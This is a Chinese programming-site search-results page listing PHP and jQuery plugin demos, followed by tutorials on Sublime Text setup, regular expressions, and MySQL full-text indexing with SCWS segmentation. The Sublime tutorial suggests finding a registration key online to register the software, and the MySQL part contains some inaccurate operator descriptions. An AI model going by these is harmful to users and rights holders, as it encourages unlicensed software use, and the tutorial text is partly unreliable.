首页> 搜索结果页
"php中验证码单词" 检索
共 89 条结果
100多个经典常用的PHP功能插件大全实例演示和下载
推荐特效 PHP功能插件  更多 > 09-07 PHP合成多图片 08-28 百度地图根据经纬度获取国家、州市等地址相关信息 08-06 PHP读取身份证姓名和身份证号码API 07-31 cropped仿新浪微博头像上传裁剪缩小放大预览 07-29 prettyPhoto和fancybox弹出层插件对比 07-29 hwSlider支持手机app触屏滑动 07-19 svgmap全国地图数据分布统计 07-19 jQuery超级简单的绿色拖动验证码功能 07-10 php结合数据库演示商品多图片上传 06-29 PHP+Ajax无刷新上传头像预览 06-28 flot.js完美演示柱状图折线图和饼状图 03-21 plupload上传视频等大文件 06-05 ThinkBox仿thinkphp头像名片 06-04 pickerDateRange日期范围选取  PHP+Mysql仿百度知道问答评论系统  PHP+Mysql高仿百度知道签到源码演示与下载  PHP+jQuery+Ajax漂亮的许愿墙效果 2017年最新PHP整合银联在线支付DEMO演示下载 Dcloud中mui 微信支付接口完美实现付款代码(PHP微信支付demo) jQuery淘宝产品图片放大镜代码 微信小程序实现移动商城源码 jQuery实现带按钮的产品切换效果 PHP自定义实现微信分享朋友圈源码演示下载 腾讯AlloyTeam正式发布pasition制作酷炫Path过渡动画 2017最新支付宝PC端支付接口源码演示下载 2017最新微信朋友圈装逼神器源码演示下载 HTML5兔子奔月吃月饼游戏源码 最新pjax实现无刷新demo演示下载 最新H5微信小游戏2048源码下载 metinfo龙达企业自适应模板 uploadPreview实现上传图片预览 使用 jQuery 开发款基于高德地图的位置选择插件 纯js分页模板 css3实现的圆形从中心向四周扩散动画效果 html5 canvas彩色烟花动画特效  hwSlider支持手机app触屏滑动  jquery百度预测焦点图代码  jQuery仿途牛首页定时幻灯片轮播效果 jQuery淘宝产品图片放大镜代码 uploadPreview实现上传图片预览 html5图片堆栈布局点击加载更多图片效果 手机端banner轮播效果 可自定义图片生成数量显示数量轮播 纯CSS3鼠标滑过图片文字动画特效 图片轮换播放器 html5响应式网格图片画廊幻灯片代码 jQuery按钮控制图片层叠轮播切换代码 动感的 3D 网格特效 Jquery图片排列点击展开图片详情代码 jQuery可拖拽3D万花筒旋转特效 jQuery自动放大可全屏播 js交互式3D图片相册动态模糊效果 jQuery扁平手风琴代码 js简单瀑布流图片无限加载带鼠标悬停图片遮罩效果 jQuery css3鼠标悬停图片显示遮罩层动画特效 纯css3动画库鼠标经过图片文字动画特效  bootstrap-treeview.js多级下拉树菜单  clueTip简单实用的信息提示框  jQuery仿天猫左侧分类导航 jQuery实现带按钮的产品切换效果 三级导航菜单 jquery右侧弹出图标导航菜单点击页面切换效果 手机版仿微信导航菜单样式 jQuery侧边栏纵向导航菜单展开收缩代码 js css3镜像文字导航菜单线性动画特效 导航标签跟随滚动到对应文章段落 jQuery手机大众点评下拉菜单选择特效 底部导航菜单【动态波浪效果】 纯html5折叠式导航菜单 jQuery横排下拉导航菜单图片列表显示代码 6款html5手机顶部导航菜单遮罩显示效果 jQuery横向手风琴菜单js导航特效代码免费下载演示 jQuery适用于手机端底部弹出菜单列表代码 js css3仿MacOS苹果系统界面底部菜单动画代码 网页特效免费下载演示 js页面滚动隐藏和显示顶部导航条代码 js网页特效免费下载演示 jQuery产品分类信息导航代码 jQuery鼠标悬停导航向上显示二级菜单代码  tabulous.js效果酷炫的Tab选项卡插件  jquery.bxSlider响应式滑动插件  SuperSlide焦点图_Tab切换_图片滚动_无缝滚动 jQuery鱼骨图形式信息展示代码 27特效效果+72个扩展效果 jquery tab标签选项卡插件打开多个网页选项卡代码 仿浏览器页面标签切换的TAB选项卡代码 实用的bootstrap响应式折角选项卡标签切换代码 swiper制作tab选项卡手机滑动下拉刷新加载代码 超简单可多次使用的jQuery tab选项卡代码 jquery带箭头的滑动选项卡内容切换代码 京东淘宝商城tab栏js切换效果 jQuery鼠标经过水平手风琴展开收缩动画效果 jQuery响应式层叠动画切换内容网页特效 Html简单实现垂直选项卡移动显示内容 可手机划动选项卡-滑动门 纯css3绘制飞行火箭动画特效 jQuery css3彩色动画Tabs选项卡切换特效 javascript实现简易的tab选项卡切换效果 jQuery tab标签选项卡切换特效 html5手机端手指滑动选项卡滚动切换效果  jQuery仿ace添加标签  jQuery间歇滚动跑马灯效果 html5 svg英文单词字母动画特效 纯CSS3鼠标滑过图片文字动画特效 html5大气ppt文字幻灯片演示特效 纯CSS3鼠标经过文字倾斜线性动画特效 jquery中奖名单无间缝向上滚动 html数字滚动、跳动特效 文字无缝滚动效果代码(jQuery) 今日排行榜类滚动源码适应PC和移动 html5 canvas跳舞的文字动画特效 js图片特效代码免费下载演示 html5 canvas燃烧的文字火焰动画特效 jQuery实现模拟滚动条插件版 jquery文字滚动插件带按钮控制文字上下滚动代码 纯css3有趣的文字波浪动画特效 jQuery设置文本框文字大小效果代码 flash红包打开跳出文字动画效果 js文字 生成图片特效 javascript网页点击鼠标拖动写字效果代码 纯css3鼠标悬停图片文字切换动画特效  百度地图根据经纬度获取国家、州市等地址相关信息  jQuery超级简单的绿色拖动验证码功能  Thinkphp整合ucenter同步登录注册退出 jQuery table选中表格行变色 jQuery响应式的选择商品对比筛选代码 jQuery简单的注册表单验证代码 jQuery仿新浪微博评论回复表单代码 jquery简单的用户登录注册页面表单切换效果 纯JS地区选择 三级 下拉框 连动选择 原生JS 实现简单的全选反选 js 表单验证 jquery带提示验证表单 jquery仿招聘网站弹出城市选择信息代码 CSS3网站用户登录设计代码 jQuery向下滚动表格头部固定代码 jQuery省市区三级联动插件city-picker 利用JQuery特效制作城市下拉选择器 jQuery表单验证 html5响应式表格插件设置自适应表格代码 zepto手机触屏滑动拼音字母城市选择器代码 响应式伸缩搜索框  prettyPhoto和fancybox弹出层插件对比  ThinkBox仿thinkphp头像名片  viewer.js强大的响应式图片弹出层(360度旋转、放大缩小) 简约扁平风格jQuery确认对话框插件 jQuery仿百度登录窗口弹出可拖动效果 jquery弹窗插件dialog确认对话框窗口代码 js网页特效代码免费下载演示 jquery点击弹出模态窗口提示代码 js网页特效代码免费下载演示 html5弹出窗口手机拖拽效果 jquery colorbox弹出层插件制作图片弹出显示代码 页面弹窗效果 jQuery点击购买按钮弹出商品已售罄提示框 弹出框,6种提示框+输入框 登录弹出框 jQuery layer可拖动弹出框确认投资表单代码 原生js问卷调查投票页面表单代码 jquery可拖动右下角浮动窗口代码 jquery点击弹出登陆窗口 jQuery适用于手机端的弹出层提示对话框插件 layer.js弹出层插件可拖动图片相册弹出窗口代码 jQuery alert网页对话框插件_网页弹出框代码 jquery CSS3制作简洁遮罩弹出层动画代码
文章
移动开发  ·  JavaScript  ·  前端开发  ·  PHP  ·  HTML5
2017-06-30
Sublime3安装过程及常用插件安装及常用快捷键
1  先去http://www.sublimetext.com/官网下载软件,然后网上找一个验证码,注册完成。 2  安装Package Control ,Package Control 插件是一个方便 Sublime text 管理插件的插件,必须先安装。 简单的安装方法: 从菜单 View - Show Console 或者 ctrl + ~ 快捷键,调出 console。将以下 Python 代码粘贴进去并 enter 执行,不出意外即完成安装。以下提供 ST3 和 ST2 的安装代码: Sublime Text 3: import urllib.request,os; pf = 'Package Control.sublime-package'; ipp = sublime.installed_packages_path(); urllib.request.install_opener( urllib.request.build_opener( urllib.request.ProxyHandler()) ); open(os.path.join(ipp, pf), 'wb').write(urllib.request.urlopen( 'http://sublime.wbond.net/' + pf.replace(' ','%20')).read())   使用方法: 快捷键 Ctrl+Shift+P(菜单 – Tools – Command Paletter),输入 install 选中Install Package并回车,输入或选择你需要的插件回车就安装了(注意左下角的小文字变化,会提示安装成功)。 3 常用插件 1.Html代码格式化 : Tag安装成功会会在菜单栏的Edit中多出新的选项,使用的方法也很简单,选中一段Html代码后,按Ctrl+Alt+f即可,      2.   新建文件的模版插件: SublimeTmpl   默认快捷键: 1. ctrl+alt+h html 2. ctrl+alt+j javascript 3. ctrl+alt+c css 4. ctrl+alt+p php 5. ctrl+alt+r ruby 6. ctrl+alt++shift+p python   4  修改字体大小 1、打开sublime text3,点击工具栏中的Preferences(首选项)       2、选择Preferences(首选项)下的Setings(设置)-User(用户)       3、将如下代码粘贴至大括号里:          "font_face": "微软雅黑",          "font_size": 13.0//第一行意思是修改字体和加不加粗,带上bold代表加粗,去掉代表正常字体,第二行意思是修改字体大小。    4、保存   5  如何设置快捷键让编写的HTML文件在浏览器预览 选择Preferences 下的key bindings-User 然后就跳出一个空白页面。第二步,将以下代码键入。 // chrome { "keys": ["f2"], "command": "side_bar_files_open_with",         "args": {             "paths": [],             "application": "C:/Program Files (x86)/Google/Chrome/Application/chrome.exe",             "extensions":".*"         }  },   // firefox { "keys": ["f3"], "command": "side_bar_files_open_with",          "args": {             "paths": [],             "application": "D:/Program Files (x86)/Mozilla Firefox/firefox.exe",             "extensions":".*"         } },   // ie  { "keys": ["f4"], "command": "side_bar_files_open_with",          "args": {             "paths": [],             "application": "C:/Program Files/Internet Explorer/iexplore.exe",             "extensions":".*"         } } 其中“keys”是指定快捷键,替换成自己想要的。 application是你浏览器在电脑上的目录地址,替换了就OK了。   6  JS Format 整理JS 代码 Ctrl+Alt+f即可     7  各类常用快捷键 1. 同时选中多行同步编辑 Ctrl+鼠标单击 2. Ctrl+D:选择单词,重复可增加选择下一个相同的单词 3. Ctrl + Shift + P:打开命令面板 4. Ctrl + Shift + [:对选中的内容进行折叠 5. Ctrl + Shift + ]:展开被折叠的内容 6. Ctrl + Shift +/:注释已选择内容  
文章
Web App开发  ·  JavaScript  ·  Python  ·  前端开发  ·  PHP  ·  网络协议  ·  Ruby
2016-04-22
浅谈正则表达式
原文:浅谈正则表达式 一、什么是正则表达式? 简单的说:正则表达式(Regular Expression)是一种处理字符串匹配的语言; 正则表达式描述了一种字符串匹配的模式,可以用来检查一个字符串是否含有某种子串,对匹配到的子串进行“取出”或“替换”操作。 二、正则表达式的应用 正则表达式在实际的开发过程中非常实用,能够快速解决一些复杂的字符串处理问题,下面我对正则表达式的应用做一些简单分类: 第一种:数据验证 比如,你要验证一个字符串是否是正确的EMail,Telphone,Ip等等,那么采用正则表达式就好非常方便。 第二种:内容查找 比如,你要抓取一个网页的图片,那么你肯定要找到<img>标签,这时候用正则表达式就可以精准的匹配到。 第三种:内容替换 比如,你要把手机号码中间四位隐藏掉变成这种模式,123****4567,那么采用正则表达式也会非常方便。 三、正则表达式有哪些内容 下面我将简单的介绍一下正则表达式: 1、 正则表达式的几个重要的概念 子表达式:在正则表达式中,如果使用"()"括起来的内容,称之为“子表达式” 捕获:子表达式匹配到的结果会被系统放在缓冲区中,这个过程,我们称之为“捕获” 反向引用:我们使用"\n",其中n是数字,表示引用之前某个缓冲区之间的内容,我们称之为“反向引用” 2、数量限定符 X+     表示:1或多个 X*     表示:0或多个 X?     表示:0或1个 X{n}    表示: n个 X{n,}    表示:至少n个 X{n,m}   表示:n至m个,贪婪原则,会尽可能匹配多个;如果在后面加个?,则为非贪婪原则 注:X表示要查找的字符 3、 字符限定符 \d   表示:匹配一个数字字符,[0-9] \D  表示:匹配一个非数字字符,[^0-9] \w  表示:匹配包括下划线在内的单词字符,[0-9a-zA-Z_] \W  表示:匹配任何非单词字符,[^0-9a-zA-Z_] \s  表示:匹配任何空白字符,空格、回车、制表符 \S  表示:匹配任何非空白字符 .    表示:匹配任何单个字符 此外还有以下几种: 范围字符:[a-z]、[A-Z]、[0-9]、[0-9a-z]、[0-9a-zA-Z]任意字符:[abcd]、[1234]非在内的字符:[^a-z]、[^0-9]、[^abcd] 4、 定位符 ^  表示:开头标识 $  表示:结尾标识 \b   表示:单词边界 \B  表示:非单词边界 5、转义符 \   用于匹配某些特殊字符 6、选择匹配符 |   可以匹配多个规则 7、特殊用法 (?=) : 正向预查:匹配以指定内容结束的字符串 (?!) : 负向预查:匹配不是以指定内容结束的字符串 (?:) : 不把选择匹配符的内容放到缓冲区 四、正则表达式在Javascript下的使用方法 在Javascript下使用正则表达式,有两种方法: 第一种方法:使用RegExp类 提供的方法有: test(str): 在字符串匹配是否有匹配模式的字符串,返回true/false exec(str): 返回匹配模式匹配到的字符串,如果有,返回相应的字符串,无,返回null;         //如果正则表达式中有子表达式,使用exec方法时         //返回的是:result[0] = 匹配结果 , result[1] = 子表达式1的匹配结果 …… 第二种方法是:使用String类 提供的方法有: search : 返回匹配模式的字符串出现的位置,如果没有,返回-1 match : 返回匹配模式匹配到的字符串,如果有,返回数组,无,返回null replace : 将匹配模式匹配到的字符串进行替换 split : 将字符串已匹配模式为分隔符进行字符串分隔,返回数组 五、正则表达式在PHP下的使用方法 PHP下有两种使用正则表达式的函数: 第一种是:Perl正则表达式函数 提供的方法有: preg_grep --  返回与模式匹配的数组单元 preg_match_all -- 进行全局正则表达式匹配 preg_match -- 进行正则表达式匹配 preg_quote -- 转义正则表达式字符 preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换 preg_replace -- 执行正则表达式的搜索和替换 preg_split -- 用正则表达式分割字符串 第二种是:POSIX正则表达式函数 提供的方法有: ereg_replace -- 替换正则表达式 ereg -- 正则表达式匹配 eregi_replace -- 不区分大小写替换正则表达式 eregi -- 不区分大小写的正则表达式匹配 split -- 用正则表达式将字符串分割到数组中 spliti --  用正则表达式不区分大小写将字符串分割到数组中 sql_regcase --  产生用于不区分大小的匹配的正则表达式   六、总结 正则表达式就是我们实现某个功能的一个工具,这个工具: 1、功能强大 正则表达式中各种限定符的不同组合会实现不同的功能,有时实现一个复杂的功能需要编写很长的正则表达式,如何能精准匹配,这就要考验一个程序员的能力了。 2、简洁方便 平常我们在进行字符串内容查找,只能进行某个特定字符串的查找,但是正则表达式可以帮助我们进行模糊查找,更快更方便,仅仅需要一个正则表达式串。 3、各种语言基本上都支持 目前如JAVA、PHP、Javascript、C#、C++等主流语言都支持正则表达式。 4、学习很简单,应用很高深 学习正则表达式很快也很简单,但是如何在实际开发中编写出高效地,精准地正则表达式,还是需要长时间的尝试和积累。
文章
JavaScript  ·  前端开发  ·  PHP  ·  C#  ·  程序员  ·  C++  ·  Java  ·  Perl
2014-08-13
MySQL索引之全文索引(FULLTEXT)
MySQL索引之全文索引(FULLTEXT) MySQL创建全文索引 使用索引时数据库性能优化的必备技能之一。在MySql数据库中,有四种索引:聚焦索引(主键索引)、普通索引、唯一索引以及我们这里将要介绍的全文索引(FUNLLTEXT INDEX)。 全文索引(也称全文检索)是目前搜索引擎使用的一种关键技术。它能够利用【分词技术】等多种算法智能分析出文本文字中关键词的频率和重要性,然后按照一定的算法规则智能地筛选出我们想要的搜索结果。 在MySql中,创建全文索引相对比较简单。例如:我们有一个文章表(article),其中有主键ID(id)、文章标题(title)、文章内容(content)三个字段。现在我们希望能够在title和content两个列上创建全文索引,article表及全文索引的创建SQL语句如下: CREATE TABLE `article` (   `id` int(10) unsigned NOT NULL AUTO_INCREMENT,   `title` varchar(200) DEFAULT NULL,   `content` text,   PRIMARY KEY (`id`),   FULLTEXT KEY `title` (`title`,`content`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; 上面就是在创建表的同时创建全文索引的SQL示例。此外,如果我们要给已经存在的表的指定字段创建全文索引,同样以article表为例,我们可以使用如下SQL语句进行创建: ALTER TABLE article ADD FULLTEXT INDEX fulltext_article(title,content); 在MySql中创建全文索引之后,现在就该了解如何使用了。众所周知,在数据库中进行模糊查询是使用like关键字进行查询的,例如: SELECT * FROM article WHERE content LIKE ‘%查询字符串%’; 那么,我们在使用全文索引也这样使用吗?当然不是,我们必须使用特有的语法才能使用全文索引进行查询,例如,我们想要在article表的title和content列中全文检索指定的查询字符串,我们可以如下编写SQL语句: SELECT * FROM article WHERE MATCH(title,content) AGAINST (‘查询字符串’); 强烈注意:MySql自带的全文索引只能用于数据库引擎为MYISAM的数据表,如果是其他数据引擎,则全文索引不会生效。此外,MySql自带的全文索引只能对英文进行全文检索,目前无法对中文进行全文检索。如果需要对包含中文在内的文本数据进行全文检索,我们需要采用Sphinx(斯芬克斯)/Coreseek技术来处理中文。 注:目前,使用MySql自带的全文索引时,如果查询字符串的长度过短将无法得到期望的搜索结果。MySql全文索引所能找到的词默认最小长度为4个字符。另外,如果查询的字符串包含停止词,那么该停止词将会被忽略。 注:如果可能,请尽量先创建表并插入所有数据后再创建全文索引,而不要在创建表时就直接创建全文索引,因为前者比后者的全文索引效率要高。 一种特殊的索引,它会把某个数据表的某个数据列出现过的所有单词生成一份清单。 alter table tablename add fulltext(column1,column2) 只能在MyISAM数据表中创建 少于3个字符的单词不会被包含在全文索引里,可以通过修改my.cnf修改选项 ft_min_word_len=3 重新启动MySQL服务器,用 repair table tablename quick 为有关数据表重新生成全文索引 select * from tablename where match(column1,column2) against('word1 word2 word3')>0.001 match ... against 把column1,column2数据列中至少包含word1,word2,word3三个单词之一的数据记录查找到,在关键字match后的数据列必须 跟创建全文索引的数据列相同,检索词不区分大小写和先后顺序,少于3个字符的单词通常被忽略。match... against ...表达式返回一个浮点数作为它本身的求值结果,这个数字反映了结果记录与被检索单词的匹配程度。如果没有匹配到任何记录,或者匹配到的结果记录太多反 而被忽略,表达式将返回0,表达式>0.001的作用是排除match的返回值太小的结果记录。 select *,match(column1,column2) against ('word1 word2 word3') as mtch from tablename having mtch>0.01 order by mtch desc limit 5 找出最匹配的5条记录,在where字句中不能使用假名,所以用having   布尔全文搜索的性能支持以下操作符:  +word:一个前导的加号表示该单词必须 出现在返回的每一行的开头位置。   -word: 一个前导的减号表示该单词一定不能出现在任何返回的行中。   (无操作符):在默认状态下(当没有指定 + 或–的情况下),该单词可有可无,但含有该单词的行等级较高。这和MATCH() ... AGAINST()不使用IN BOOLEAN MODE修改程序时的运作很类似。   > <这两个操作符用来改变一个单词对赋予某一行的相关值的影响。 > 操作符增强其影响,而 <操作符则减弱其影响。请参见下面的例子。   ( )括号用来将单词分成子表达式。括入括号的部分可以被嵌套。   ~word:一个前导的代字号用作否定符, 用来否定单词对该行相关性的影响。 这对于标记“noise(无用信息)”的单词很有用。包含这类单词的行较其它行等级低。   word* :搜索以word开头的单词,只允许出现在单词的末尾   "word1 word" :给定单词必须出现在数据记录中,先后顺序也必须匹配,区分字母大小写 select * from tablename where match(column1,column2) against ('+word1 +word2 -word3' in boolean mode') 布尔检索只能返回1或者0,不再返回表示匹配程度的浮点数 全文索引的缺陷:  数据表越大,全文索引效果好,比较小的数据表会返回一些难以理解的结果。   全文检索以整个单词作为匹配对象,单词变形(加上后缀,复数形式),就被认为另一个单词。   只有由字母,数字,单引号,下划线构成的字符串被认为是单词,带注音符号的字母仍是字母,像C++不再认为是单词   不区分大小写   只能在MyISAM上使用   全文索引创建速度慢,而且对有全文索引的各种数据修改操作也慢 前言:本文简单讲述全文索引的应用实例,MYSQL演示版本5.5.24。 Q:全文索引适用于什么场合? A:全文索引是目前实现大数据搜索的关键技术。 至于更详细的介绍请自行百度,本文不再阐述。 --------------------------------------------------------------------------------一、如何设置? 如图点击结尾处的{全文搜索}即可设置全文索引,不同MYSQL版本名字可能不同。二、设置条件1.表的存储引擎是MyISAM,默认存储引擎InnoDB不支持全文索引(新版本MYSQL5.6的InnoDB支持全文索引) 2.字段类型:char、varchar和text  三、配置my.ini配置文件中添加 # MySQL全文索引查询关键词最小长度限制 [mysqld] ft_min_word_len = 1 保存后重启MYSQL,执行SQL语句 复制代码代码如下: SHOW VARIABLES 查看ft_min_word_len是否设置成功,如果没设置成功请确保1.确认my.ini正确配置,注意不要搞错my.ini的位置2.确认mysql已经重启,实在不行重启电脑其他相关配置请自行百度。注:重新设置配置后,已经设置的索引需要重新设置生成索引 四、SQL语法首先生成temp表 CREATE TABLE IF NOT EXISTS `temp` (  `id` int(11) NOT NULL AUTO_INCREMENT,  `char` char(50) NOT NULL,  `varchar` varchar(50) NOT NULL,  `text` text NOT NULL,  PRIMARY KEY (`id`),  FULLTEXT KEY `char` (`char`),  FULLTEXT KEY `varchar` (`varchar`),  FULLTEXT KEY `text` (`text`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; INSERT INTO `temp` (`id`, `char`, `varchar`, `text`) VALUES (1, 'a bc 我 知道 1 23', 'a bc 我 知道 1 23', 'a bc 我 知道 1 23'); 搜索`char`字段 'a' 值 ? SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('a')但是你会发现查询无结果?!这时你也许会想:哎呀怎么回事,我明明按照步骤来做的啊,是不是那里漏了或者错了? 你不要着急,做程序是这样的,出错总是有的,静下心来,着急是不能解决问题的。   如果一个关键词在50%的数据出现,那么这个词会被当做无效词。 如果你想去除50%的现在请使用IN BOOLEAN MODE搜索SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('a' IN BOOLEAN MODE) ? 这样就可以查询出结果了,但是我们不推荐使用。 全文索引的搜索模式的介绍自行百度。   我们先加入几条无用数据已解除50%限制 INSERT INTO `temp` ( `id` , `char` , `varchar` , `text` ) VALUES ( NULL , '7', '7', '7' ), ( NULL , '7', '7', '7' ), ( NULL , 'a,bc,我,知道,1,23', 'a,bc,我,知道,1,23', 'a,bc,我,知道,1,23' ), ( NULL , 'x', 'x', 'x' ); ? 这时你执行以下SQL语句都可以查询到数据 SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('a'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('bc'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('我'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('知道'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('1'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('23'); ? 以下SQL搜索不到数据 SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('b'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('c'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('知'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('道'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('2'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('3'); ? 如果搜索多个词,请用空格或者逗号隔开 SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('a x'); SELECT * FROM `temp` WHERE MATCH(`char`) AGAINST ('a,x'); ? 上面的SQL都可以查询到三条数据  五、分词看到这里你应该发现我们字段里的值也是分词,不能直接插入原始数据。全文索引应用流程:1.接收数据-数据分词-入库 2.接收数据-数据分词-查询现在有个重要的问题:怎么对数据分词? 数据分词一般我们会使用一些成熟免费的分词系统,当然如果你有能力也可以自己做分词系统,这里我们推荐使用SCWS分词插件。首先下载1.php_scws.dll  注意对应版本 2.XDB词典文件 3.规则集文件下载地址 安装scws1.先建一个文件夹,位置不限,但是最好不要中文路径。 2.解压{规则集文件},把xdb、三个INI文件全部扔到 D:\scws 3.把php_scws.dll复制到你的PHP目录下的EXT文件夹里面 4.在 php.ini 的末尾加入以下几行: [scws] ; ; 注意请检查 php.ini 中的 extension_dir 的设定值是否正确, 否则请将 extension_dir 设为空, ; 再把 php_scws.dll 指定为绝对路径。 ; extension = php_scws.dll scws.default.charset = utf8 scws.default.fpath = "D:\scws"5.重启你的服务器测试 $str="测试中文分词"; $so = scws_new(); $so->send_text($str); $temp=$so->get_result(); $so->close(); var_dump($temp); ? 如果安装未成功,请参照官方说明文档 -------------------------------------------------------------------------------- 这样我们就可以使用全文索引技术了。 1.创建全文索引(FullText index)        旧版的MySQL的全文索引只能用在MyISAM表格的char、varchar和text的字段上。         不过新版的MySQL5.6.24上InnoDB引擎也加入了全文索引,所以具体信息要随时关注官网,      1.1. 创建表的同时创建全文索引              CREATE TABLE article (                   id INT AUTO_INCREMENT NOT NULL PRIMARY KEY,                   title VARCHAR(200),                   body TEXT,                   FULLTEXT(title, body)               ) TYPE=MYISAM;      1.2.通过 alter table 的方式来添加                 ALTER TABLE `student` ADD FULLTEXT INDEX ft_stu_name  (`name`) #ft_stu_name是索引名,可以随便起        或者:ALTER TABLE `student` ADD FULLTEXT ft_stu_name  (`name`)     1.3. 直接通过create index的方式                 CREATE FULLTEXT INDEX ft_email_name ON `student` (`name`)            也可以在创建索引的时候指定索引的长度:                 CREATE FULLTEXT INDEX ft_email_name ON `student` (`name`(20)) 2. 删除全文索引     2.1. 直接使用 drop index(注意:没有 drop fulltext index 这种用法)                  DROP INDEX full_idx_name ON tommy.girl ;     2.2. 使用 alter table的方式                  ALTER TABLE tommy.girl DROP INDEX ft_email_abcd; 3.使用全文索引      跟普通索引稍有不同      使用全文索引的格式:  MATCH (columnName) AGAINST ('string')      eg:            SELECT * FROM `student` WHERE MATCH(`name`) AGAINST('聪')            当查询多列数据时:                 建议在此多列数据上创建一个联合的全文索引,否则使用不了索引的。           SELECT * FROM `student` WHERE MATCH(`name`,`address`) AGAINST('聪 广东')      3.1. 使用全文索引需要注意的是:(基本单位是词)             分词,全文索引以词为基础的,MySQL默认的分词是所有非字母和数字的特殊符号都是分词符(外国人嘛)             这里推荐一篇文章:利用mysql的全文索引实现模糊查询         3.2. MySQL中与全文索引相关的几个变量:              使用命令:mysql> SHOW VARIABLES LIKE 'ft%'; #ft就是FullText的简写              ft_boolean_syntax    + -><()~*:""&|         #改变IN BOOLEAN MODE的查询字符,不用重新启动MySQL也不用重建索引              ft_min_word_len    4                                   #最短的索引字符串,默认值为4,(通常改为1)修改后必须重建索引文件                                                                                重新建立索引命令:repair table tablename quick               ft_max_word_len    84                                #最长的索引字符串,默认值为84,修改后必须重建索引文件              ft_query_expansion_limit   20                      #查询括展时取最相关的几个值用作二次查询              ft_stopword_file    (built-in)                      #全文索引的过滤词文件,具体可以参考:MySQL全文检索中不进行全文索引默认过滤词                       特别注意:50%的门坎限制(当查询结果很多,几乎所有记录都有,或者极少的数据,都有可能会返回非所期望的结果)                        -->可用IN BOOLEAN MODE即可以避开50%的限制。                       此时使用全文索引的格式就变成了: SELECT * FROM `student` WHERE MATCH(`name`) AGAINST('聪' IN BOOLEAN MODE)                         更多内容请参考:MySQL中的全文检索(1) 4. ft_boolean_syntax (+ -><()~*:""&|)使用的例子:         4.1  + : 用在词的前面,表示一定要包含该词,并且必须在开始位置。                             eg: +Apple 匹配:Apple123,     "tommy, Apple"         4.2  - : 不包含该词,所以不能只用「-yoursql」这样是查不到任何row的,必须搭配其他语法使用。                             eg: MATCH (girl_name) AGAINST ('-林志玲 +张筱雨')                               匹配到: 所有不包含林志玲,但包含张筱雨的记录          4.3. 空(也就是默认情况),表示可选的,包含该词的顺序较高。                         例子:                  apple banana           找至少包含上面词中的一个的记录行                  +apple +juice               两个词均在被包含                  +apple macintosh     包含词 “apple”,但是如果同时包含 “macintosh”,它的排列将更高一些                  +apple -macintosh   包含 “apple” 但不包含 “macintosh”         4.4. > :提高该字的相关性,查询的结果会排在比较靠前的位置。          4.5.< :降低相关性,查询的结果会排在比较靠后的位置。                       例子:4.5.1.先不使用 ><                                  select * from tommy.girl where match(girl_name) against('张欣婷' in boolean mode);                                    可以看到完全匹配的排的比较靠前                               4.5.2. 单独使用 >                                 select * from tommy.girl where match(girl_name) against('张欣婷 >李秀琴' in boolean mode);                                   使用了>的李秀琴马上就排到最前面了                              4.5.3. 单独使用 <                                 select * from tommy.girl where match(girl_name) against('张欣婷 <不是人' in boolean mode);                                  看到没,不是人也排到最前面了,这里使用的可是 < 哦,说好的降低相关性呢,往下看吧。                            4.5.4.同时使用><                               select * from tommy.girl where match(girl_name) against('张欣婷 >李秀琴 <练习册 <不是人>是个鬼' in boolean mode);                                到这里终于有答案了,只要使用了 ><的都会往前排,而且>的总是排在<的前面                         小结一下:1. 只要使用 ><的总比没用的 靠前;                                        2. 使用  >的一定比 <的排的靠前 (这就符合相关性提高和降低);                                        3. 使用同一类的,使用的越早,排的越前。         4.6. ( ):可以通过括号来使用字条件。                          eg: +aaa +(>bbb <ccc) 找到有aaa和bbb和ccc,aaa和bbb,或者aaa和ccc(因为bbb,ccc前面没有+,所以表示可有可无),                                          然后 aaa&bbb > aaa&bbb&ccc > aaa&ccc            4.7. ~ :将其相关性由正转负,表示拥有该字会降低相关性,但不像「-」将之排除,只是排在较后面。                             eg:   +apple ~macintosh   先匹配apple,但如果同时包含macintosh,就排名会靠后。            4.8. * :通配符,这个只能接在字符串后面。                                   MATCH (girl_name) AGAINST ('+*ABC*')   #错误,不能放前面                                  MATCH (girl_name) AGAINST ('+张筱雨*')  #正确            4.9. " " :整体匹配,用双引号将一段句子包起来表示要完全相符,不可拆字。                                   eg:  "tommy huang" 可以匹配  tommy huang xxxxx   但是不能匹配  tommy is huang。 5.补充:Windows下无法修改 ft_min_word_len的情况,           5. 1. 使用cmd打开 services.msc,                 找到你的 MySQL服务,右键Properties,找到你的my.ini所在的路径                            5.2. 停止MySQL,在my.ini中增加 ft_min_word_len = 1,重启MySQL,                     然后使用命令 show variables like 'ft_min_word_len'; 查看是否生效了 MySQL全文检索笔记 1. MySQL 4.x版本及以上版本提供了全文检索支持,但是表的存储引擎类型必须为MyISAM,以下是建表SQL,注意其中显式设置了存储引擎类型 CREATE TABLE articles ( id INT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, title VARCHAR(200), body TEXT, FULLTEXT (title,body) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;    其中FULLTEXT(title, body) 给title和body这两列建立全文索引,之后检索的时候注意必须同时指定这两列。   2. 插入测试数据 INSERT INTO articles (title,body) VALUES ('MySQL Tutorial','DBMS stands for DataBase ...'), ('How To Use MySQL Well','After you went through a ...'), ('Optimizing MySQL','In this tutorial we will show ...'), ('1001 MySQL Tricks','1. Never run mysqld as root. 2. ...'), ('MySQL vs. YourSQL','In the following database comparison ...'), ('MySQL Security','When configured properly, MySQL ...');   3. 全文检索测试 SELECT * FROM articles WHERE MATCH (title,body) AGAINST ('database');    检索结果如下: 5 MySQL 